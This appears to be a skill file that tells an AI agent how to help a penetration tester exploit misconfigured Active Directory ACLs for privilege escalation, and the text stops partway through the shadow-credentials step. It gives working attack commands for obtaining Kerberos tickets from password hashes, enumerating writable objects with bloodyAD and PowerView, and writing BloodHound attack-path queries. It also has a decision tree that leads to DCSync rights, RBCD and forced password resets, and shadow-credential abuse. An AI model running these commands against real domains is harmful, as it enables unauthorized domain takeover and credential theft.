/acl-abuse

name: acl-abuse
description: >
  Exploits misconfigured Active Directory ACLs for privilege escalation.
  Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword,
  targeted Kerberoasting via SPN manipulation, shadow credentials
  (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
keywords:
  - ACL abuse
  - ACE abuse
  - GenericAll
  - GenericWrite
  - WriteDACL
  - WriteOwner
  - ForceChangePassword
  - shadow credentials
  - msDS-KeyCredentialLink
  - PKINIT
  - pywhisker
  - whisker
  - AdminSDHolder
  - SDProp
  - targeted kerberoasting
  - SPN manipulation
  - dacledit
  - AD permissions
  - BloodHound attack path
  - BloodHound shows ACL-based attack paths or when you have write access to AD objects
tools:
  - bloodyAD
  - PowerView
  - pywhisker
  - Certipy
  - dacledit.py
  - Impacket
opsec: medium

ACL/ACE Abuse

You are helping a penetration tester exploit misconfigured Active Directory access control lists for privilege escalation. All testing is under explicit written authorization.

**Kerberos-first authentication**: All commands default to Kerberos auth via ccache. Use `-k -no-pass` (Impacket), `--use-kcache` (NetExec), `-k` (bloodyAD, Certipy) throughout. Shadow credentials + PKINIT is natively Kerberos.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[acl-abuse] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain credentials (any level — ACL paths often start from low-priv users)
• Identified ACL misconfiguration (via BloodHound, PowerView, or bloodyAD)
• Tools: `bloodyAD`, `Impacket` suite, optionally `PowerView`, `pywhisker`,

`Certipy`, `dacledit.py`, `Whisker.exe`

**Kerberos-first workflow**:

cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
# or with password
cd $TMPDIR && getTGT.py DOMAIN/user:'Password123!' -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All subsequent commands use -k -no-pass or equivalent

**Tool output directory**: `getTGT.py`, `certipy shadow`, and `bloodyAD add shadowCredentials` write output files to CWD. Always prefix with `cd $TMPDIR &&`. `getTGT.py` does NOT support `-out`. When saving evidence, use `mv` (not `cp`) to avoid stray duplicates.

Step 1: Enumerate Exploitable ACLs

Skip if BloodHound or **ad-discovery** already identified the path.

bloodyAD (Linux — Preferred)

# Find objects you can write to
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype USER --right WRITE --detail

bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype GROUP --right WRITE --detail

bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype COMPUTER --right WRITE --detail

# Check specific object
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get object \
  targetuser --attr nTSecurityDescriptor --resolve-sd

PowerView (Windows)

# Scan for exploitable ACLs
Invoke-ACLScanner -ResolveGUIDs | Select ObjectDN,IdentityReferenceName,ActiveDirectoryRights

# Check specific object
Get-ObjectAcl -SamAccountName targetuser -ResolveGUIDs | ? {
  $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword"
}

BloodHound Queries

# Shortest path from owned to Domain Admins via ACL edges
MATCH p=shortestPath((n {owned:true})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p

# All ACL edges from a specific user
MATCH p=(n:User {name:'USER@DOMAIN.LOCAL'})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword]->(m) RETURN p

Decision Tree

| ACL Right | Target Type | Go To | |-----------|-------------|-------| | GenericAll | User | Step 2 (choose: shadow creds, SPN abuse, password reset) | | GenericAll | Group | Step 3 (add yourself to group) | | GenericAll | Computer | Step 7 (RBCD setup) | | GenericWrite | User | Step 2 (shadow creds, SPN abuse, logon script) | | GenericWrite | Computer | Step 7 (RBCD) | | WriteDACL | Domain object | Step 4 (grant DCSync rights) | | WriteDACL | Group/User | Step 4 (grant GenericAll, then escalate) | | WriteOwner | Any | Step 5 (take ownership, then WriteDACL) | | ForceChangePassword | User | Step 6 (reset password — destructive) |

Step 2: GenericAll / GenericWrite on User

You have full control or write access to a user object. Multiple techniques available — choose by OPSEC preference.

Option A: Shadow Credentials (Lowest OPSEC — Preferred)

Add a key credential to the target's `msDS-KeyCredentialLink` attribute, then authenticate via PKINIT. No password change, pure Kerberos.

**Requirements**: DC is Windows Server 2016+, AD CS configured, PKINIT enabled.

# bloodyAD — add shadow credential (preferred, most commonly installed)
cd $TMPDIR && bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL \
  --dc-ip DC_IP add shadowCredentials targetuser
# Output: PFX file + password + NT hash

# Alternative: pywhisker
cd $T